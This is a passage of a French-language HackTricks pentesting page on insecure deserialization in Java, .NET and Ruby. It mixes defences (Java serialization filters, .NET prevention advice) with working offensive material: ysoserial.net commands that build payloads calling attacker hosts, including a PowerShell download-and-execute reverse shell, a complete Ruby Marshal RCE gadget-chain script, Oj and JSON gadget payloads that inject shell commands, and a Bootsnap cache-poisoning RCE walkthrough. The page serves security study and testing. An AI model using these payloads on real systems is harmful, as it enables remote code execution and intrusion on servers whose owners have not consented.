Implémentation des filtres de sérialisation: Java 9 a introduit des filtres de sérialisation via l'interface ObjectInputFilter
, offrant un mĂ©canisme puissant pour spĂ©cifier les critĂšres que les objets sĂ©rialisĂ©s doivent satisfaire avant d'ĂȘtre dĂ©sĂ©rialisĂ©s. Ces filtres peuvent ĂȘtre appliquĂ©s globalement ou par flux, offrant un contrĂŽle granulaire du processus de dĂ©sĂ©rialisation.
Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s'applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Utiliser des bibliothÚques externes pour renforcer la sécurité: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. Ces bibliothÚques peuvent apporter des couches de sécurité supplémentaires, telles que le whitelisting ou le blacklisting de classes, l'analyse d'objets sérialisés avant désérialisation, et l'implémentation de stratégies de sérialisation personnalisées.
- NotSoSerial intercepte les processus de dĂ©sĂ©rialisation pour empĂȘcher l'exĂ©cution de code non fiable.
- jdeserialize permet l'analyse d'objets Java sérialisés sans les désérialiser, aidant à identifier un contenu potentiellement malveillant.
- Kryo est un framework de sérialisation alternatif axé sur la rapidité et l'efficacité, offrant des stratégies de sérialisation configurables pouvant améliorer la sécurité.
Références
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Trouvez ce qu'est JNDI Injection, comment l'abuser via RMI, CORBA & LDAP et comment exploiter log4shell (et un exemple de cette vulnérabilité) dans la page suivante:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
L'API Java Message Service (JMS) est une API middleware orientĂ©e messages pour envoyer des messages entre deux clients ou plus. Elle constitue une implĂ©mentation pour gĂ©rer le problĂšme producteurâconsommateur. JMS fait partie de la Java Platform, Enterprise Edition (Java EE), et a Ă©tĂ© dĂ©finie par une spĂ©cification dĂ©veloppĂ©e chez Sun Microsystems, mais qui est depuis encadrĂ©e par la Java Community Process. C'est une norme de messagerie qui permet aux composants d'application basĂ©s sur Java EE de crĂ©er, envoyer, recevoir et lire des messages. Elle permet la communication entre diffĂ©rents composants d'une application distribuĂ©e de maniĂšre faiblement couplĂ©e, fiable et asynchrone. (From Wikipedia).
Products
There are several products using this middleware to send messages:
Exploitation
En pratique, de nombreux services utilisent JMS de maniĂšre dangereuse. Par consĂ©quent, si vous disposez de suffisamment de privilĂšges pour envoyer des messages Ă ces services (gĂ©nĂ©ralement vous aurez besoin d'identifiants valides), vous pourriez ĂȘtre en mesure d'envoyer des objets sĂ©rialisĂ©s malveillants qui seront dĂ©sĂ©rialisĂ©s par le consumer/subscriber.
Cela signifie que, dans cette exploitation, tous les clients qui vont utiliser ce message seront compromis.
Il faut garder Ă l'esprit que mĂȘme si un service est vulnĂ©rable (parce qu'il dĂ©sĂ©rialise de maniĂšre non sĂ©curisĂ©e des entrĂ©es utilisateur), vous devez quand mĂȘme trouver des gadgets valides pour exploiter la vulnĂ©rabilitĂ©.
L'outil JMET a été créé pour se connecter et attaquer ces services en envoyant plusieurs objets sérialisés malveillants utilisant des gadgets connus. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés se trouve dans l'application vulnérable.
References
-
Patchstack advisory â Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
Dans le contexte de .Net, les exploits de dĂ©sĂ©rialisation opĂšrent de maniĂšre analogue Ă ceux rencontrĂ©s en Java, oĂč des gadgets sont exploitĂ©s pour exĂ©cuter du code spĂ©cifique lors de la dĂ©sĂ©rialisation d'un objet.
Fingerprint
WhiteBox
Le code source doit ĂȘtre inspectĂ© Ă la recherche des occurrences de :
TypeNameHandling
JavaScriptTypeResolver
L'attention doit se porter sur les serializers qui permettent que le type soit déterminé par une variable sous le contrÎle de l'utilisateur.
BlackBox
La recherche doit cibler la chaĂźne encodĂ©e Base64 AAEAAAD///// ou tout motif similaire susceptible d'ĂȘtre dĂ©sĂ©rialisĂ© cĂŽtĂ© serveur, accordant le contrĂŽle du type Ă dĂ©sĂ©rialiser. Cela peut inclure, sans s'y limiter, des structures JSON ou XML prĂ©sentant TypeObject
ou $type
.
ysoserial.net
Dans ce cas, vous pouvez utiliser l'outil ysoserial.net afin de créer les exploits de désérialisation. Une fois le dépÎt git téléchargé, vous devez compiler l'outil en utilisant Visual Studio par exemple.
Si vous voulez comprendre comment ysoserial.net crée son exploit vous pouvez check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
Les options principales de ysoserial.net sont : --gadget
, --formatter
, --output
et --plugin
.
--gadget
utilisé pour indiquer le gadget à exploiter (indiquer la classe/fonction qui sera abusée lors de la désérialisation pour exécuter des commandes).--formatter
, utilisĂ© pour indiquer la mĂ©thode pour sĂ©rialiser l'exploit (vous devez savoir quelle bibliothĂšque est utilisĂ©e par le back-end pour dĂ©sĂ©rialiser la payload et utiliser la mĂȘme pour la sĂ©rialiser).--output
utilisĂ© pour indiquer si vous voulez l'exploit en raw ou encodĂ© en base64. Notez que ysoserial.net va encoder la payload en UTF-16LE (encodage utilisĂ© par dĂ©faut sous Windows) donc si vous rĂ©cupĂ©rez la version brute et l'encodez depuis une console Linux vous pourriez rencontrer des problĂšmes de compatibilitĂ© d'encodage qui empĂȘcheront l'exploit de fonctionner correctement (dans une machine HTB JSON la payload a fonctionnĂ© en UTF-16LE et en ASCII mais cela ne signifie pas que cela fonctionnera toujours).--plugin
ysoserial.net supporte des plugins pour créer des exploits pour des frameworks spécifiques comme ViewState
More ysoserial.net parameters
--minify
fournira une payload plus petite (si possible)--raf -f Json.Net -c "anything"
indiquera tous les gadgets pouvant ĂȘtre utilisĂ©s avec un formatter fourni (Json.Net
dans ce cas)--sf xml
vous pouvez indiquer un gadget (-g
) et ysoserial.net recherchera des formatters contenant "xml" (insensible Ă la casse)
Exemples ysoserial pour créer des exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net possÚde également un paramÚtre trÚs intéressant qui aide à mieux comprendre comment chaque exploit fonctionne : --test
Si vous indiquez ce paramĂštre ysoserial.net va essayer l'exploit localement, afin que vous puissiez tester si votre payload fonctionnera correctement.
Ce paramĂštre est utile car si vous examinez le code vous trouverez des extraits de code comme le suivant (extrait de ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Cela signifie que, pour tester l'exploit, le code appellera serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Le code précédent est vulnérable à l'exploit créé. Donc, si vous trouvez quelque chose de similaire dans une application .Net, cela signifie probablement que cette application est vulnérable aussi.
Par conséquent, le paramÚtre --test
nous permet de comprendre quels morceaux de code sont vulnérables à l'exploit de deserialization que ysoserial.net peut créer.
ViewState
Consultez this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. Si vous connaissez déjà les secrets utilisés par la machine victime, read this post to know to execute code.
Prévention
Pour atténuer les risques associés à la deserialization dans .Net :
- Ăvitez de permettre aux flux de donnĂ©es de dĂ©finir leurs types d'objet. Utilisez
DataContractSerializer
ouXmlSerializer
lorsque cela est possible. - Pour
JSON.Net
, réglezTypeNameHandling
surNone
:TypeNameHandling = TypeNameHandling.None
- Ăvitez d'utiliser
JavaScriptSerializer
avec unJavaScriptTypeResolver
. - Limitez les types qui peuvent ĂȘtre dĂ©sĂ©rialisĂ©s, en comprenant les risques inhĂ©rents aux types .Net, tels que
System.IO.FileInfo
, qui peuvent modifier les propriétés des fichiers du serveur, pouvant mener à des attaques par déni de service. - Soyez prudent avec les types ayant des propriétés risquées, comme
System.ComponentModel.DataAnnotations.ValidationException
avec sa propriétéValue
, qui peut ĂȘtre exploitĂ©e. - ContrĂŽlez de maniĂšre sĂ©curisĂ©e l'instanciation des types pour empĂȘcher les attaquants d'influencer le processus de dĂ©sĂ©rialisation, rendant mĂȘme
DataContractSerializer
ouXmlSerializer
vulnĂ©rables. - Mettez en Ćuvre des contrĂŽles de liste blanche en utilisant un
SerializationBinder
personnalisé pourBinaryFormatter
etJSON.Net
. - Tenez-vous informé des gadgets de deserialization connus et non sécurisés au sein de .Net et assurez-vous que les désérialiseurs n'instancient pas de tels types.
- Isolez le code potentiellement risqué du code ayant accÚs à Internet afin d'éviter d'exposer des gadgets connus, tels que
System.Windows.Data.ObjectDataProvider
dans les applications WPF, à des sources de données non fiables.
References
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
En Ruby, serialization est assurée par deux méthodes au sein de la bibliothÚque marshal. La premiÚre méthode, connue sous le nom dump, est utilisée pour transformer un objet en un flux d'octets. Ce processus est appelé serialization. à l'inverse, la seconde méthode, load, est employée pour retransformer un flux d'octets en un objet, un processus appelé deserialization.
Pour sécuriser les objets sérialisés, Ruby utilise HMAC (Hash-Based Message Authentication Code), garantissant l'intégrité et l'authenticité des données. La clé utilisée à cette fin est stockée dans l'un des emplacements suivants :
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Autre chaĂźne RCE pour exploiter Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Méthode Ruby .send()
Comme expliqué dans ce rapport de vulnérabilité, si une entrée utilisateur non assainie atteint la méthode .send()
d'un objet ruby, cette méthode permet d'invoquer n'importe quelle autre méthode de l'objet avec n'importe quels paramÚtres.
Par exemple, appeler eval puis du code ruby en tant que second paramÚtre permettra d'exécuter du code arbitraire :
<Object>.send('eval', '<user input with Ruby code>') == RCE
De plus, si un seul paramĂštre de .send()
est contrÎlé par un attaquant, comme mentionné dans le writeup précédent, il est possible d'appeler n'importe quelle méthode de l'objet qui n'a pas besoin d'arguments ou dont les arguments ont des valeurs par défaut.
Pour cela, il est possible d'énumérer toutes les méthodes de l'objet afin de trouver des méthodes intéressantes qui répondent à ces exigences.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Voyez comment il est possible de pollute a Ruby class and abuse it in here.
Ruby _json pollution
When sending in a body some values not hashabled like an array they will be added into a new key called _json
. However, Itâs possible for an attacker to also set in the body a value called _json
with the arbitrary values he wishes. Then, If the backend for example checks the veracity of a parameter but then also uses the _json
parameter to perform some action, an authorisation bypass could be performed.
Pour plus d'informations, consultez la Ruby _json pollution page.
Other libraries
Cette technique a été reprise from this blog post.
There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically):
BibliothÚque | Données d'entrée | Méthode déclencheuse à l'intérieur de la classe |
Marshal (Ruby) | Binary | _load |
Oj | JSON | hash (class needs to be put into hash(map) as key) |
Ox | XML | hash (class needs to be put into hash(map) as key) |
Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Exemple basique :
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Dans le cas d'une tentative d'abuser Oj, il a été possible de trouver un gadget class qui, dans sa fonction hash
, appelle to_s
, qui appelle spec, qui appelle fetch_path, et qu'on pouvait contraindre à récupérer une URL aléatoire, fournissant un excellent détecteur pour ce type d'unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
De plus, il a été constaté qu'avec la technique précédente, un dossier est créé sur le systÚme, ce qui est nécessaire pour exploiter un autre gadget et transformer cela en un RCE complet, par exemple :
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Consultez le original post pour plus de détails.
Bootstrap Caching
Ce n'est pas vraiment une vulnérabilité de désérialisation mais une astuce intéressante pour abuser du bootstrap caching afin d'obtenir une RCE depuis une application rails via un arbitrary file write (trouvez le post original complet ici : https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/).
Ciâdessous un court rĂ©sumĂ© des Ă©tapes dĂ©taillĂ©es dans l'article pour exploiter une vulnĂ©rabilitĂ© d'Ă©criture de fichier arbitraire en abusant du cache Bootsnap :
-
Identifier la vulnérabilité et l'environnement
La fonctionnalité d'upload de fichiers de l'application Rails permet à un attaquant d'écrire des fichiers de maniÚre arbitraire. Bien que l'application fonctionne avec des restrictions (seuls certains répertoires comme tmp sont inscriptibles à cause de l'utilisateur non-root de Docker), cela permet néanmoins d'écrire dans le répertoire de cache Bootsnap (généralement sous tmp/cache/bootsnap).
-
Comprendre le mécanisme de cache de Bootsnap
Bootsnap accĂ©lĂšre le dĂ©marrage de Rails en mettant en cache du code Ruby compilĂ©, des fichiers YAML et JSON. Il stocke des fichiers de cache qui incluent un enâtĂȘte de cache key (avec des champs comme Ruby version, file size, mtime, compile options, etc.) suivi du code compilĂ©. Cet enâtĂȘte est utilisĂ© pour valider le cache au dĂ©marrage de l'application.
-
Collecter les métadonnées du fichier
L'attaquant choisit d'abord un fichier cible susceptible d'ĂȘtre chargĂ© au dĂ©marrage de Rails (par exemple, set.rb de la bibliothĂšque standard Ruby). En exĂ©cutant du code Ruby Ă l'intĂ©rieur du conteneur, il extrait des mĂ©tadonnĂ©es critiques (comme RUBY_VERSION, RUBY_REVISION, size, mtime et compile_option). Ces informations sont essentielles pour fabriquer une cache key valide.
-
Calculer le chemin du fichier de cache
En reproduisant le mĂ©canisme de hash FNV-1a 64-bit de Bootsnap, on dĂ©termine le chemin correct du fichier de cache. Cette Ă©tape garantit que le fichier de cache malveillant est placĂ© exactement lĂ oĂč Bootsnap l'attend (par ex., sous tmp/cache/bootsnap/compile-cache-iseq/).
-
Préparer le fichier de cache malveillant
- Exécute des commandes arbitraires (par exemple, exécuter id pour afficher des infos sur le process).
- Supprime le cache malveillant aprÚs exécution pour éviter une exploitation récursive.
- Charge le fichier original (par ex., set.rb) pour éviter de planter l'application.
Ce payload est compilĂ© en code Ruby binaire et concatĂ©nĂ© avec un enâtĂȘte de cache key soigneusement construit (en utilisant les mĂ©tadonnĂ©es collectĂ©es et le numĂ©ro de version correct pour Bootsnap).
-
Ăcraser et dĂ©clencher l'exĂ©cution
En exploitant la vulnérabilité d'écriture de fichier arbitraire, l'attaquant écrit le fichier de cache créé à l'emplacement calculé. Ensuite, il déclenche un redémarrage du serveur (en écrivant dans tmp/restart.txt, qui est surveillé par Puma). Lors du redémarrage, lorsque Rails require le fichier ciblé, le fichier de cache malveillant est chargé, entraßnant une exécution de code à distance (RCE).
Ruby Marshal exploitation in practice (mis Ă jour)
Considérez tout chemin par lequel des octets non fiables atteignent Marshal.load
/marshal_load
comme un sink RCE. Marshal reconstruit des graphes d'objets arbitraires et déclenche des callbacks de library/gem durant la matérialisation.
- Chemin de code Rails minimal vulnérable:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Classes de gadget courantes observées dans des chains réelles :
Gem::SpecFetcher
,Gem::Version
,Gem::RequestSet::Lockfile
,Gem::Resolver::GitSpecification
,Gem::Source::Git
. - Marqueur de side-effect typique intégré dans les payloads (exécuté pendant l'unmarshal) :
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
OĂč cela apparaĂźt dans des applications rĂ©elles :
- Les cache stores et session stores de Rails, historiquement basés sur Marshal
- Les backends de jobs en arriĂšre-plan et les file-backed object stores
- Toute persistance personnalisée ou transport de blobs d'objets binaires
Découverte industrialisée de gadgets :
- Grep pour les constructeurs,
hash
,_load
,init_with
, ou les mĂ©thodes Ă effets de bord invoquĂ©es lors de l'unmarshal - Utilisez les requĂȘtes CodeQL Ruby unsafe deserialization pour tracer les sources â sinks et mettre au jour des gadgets
- Validez avec des PoCs publics multi-format (JSON/XML/YAML/Marshal)
Références
- Trail of Bits â Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam â Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 â Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI â RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security â Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab â Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab â PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR â Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke â Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke â Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits â Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs â Is This Bad? This Feels Bad â GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.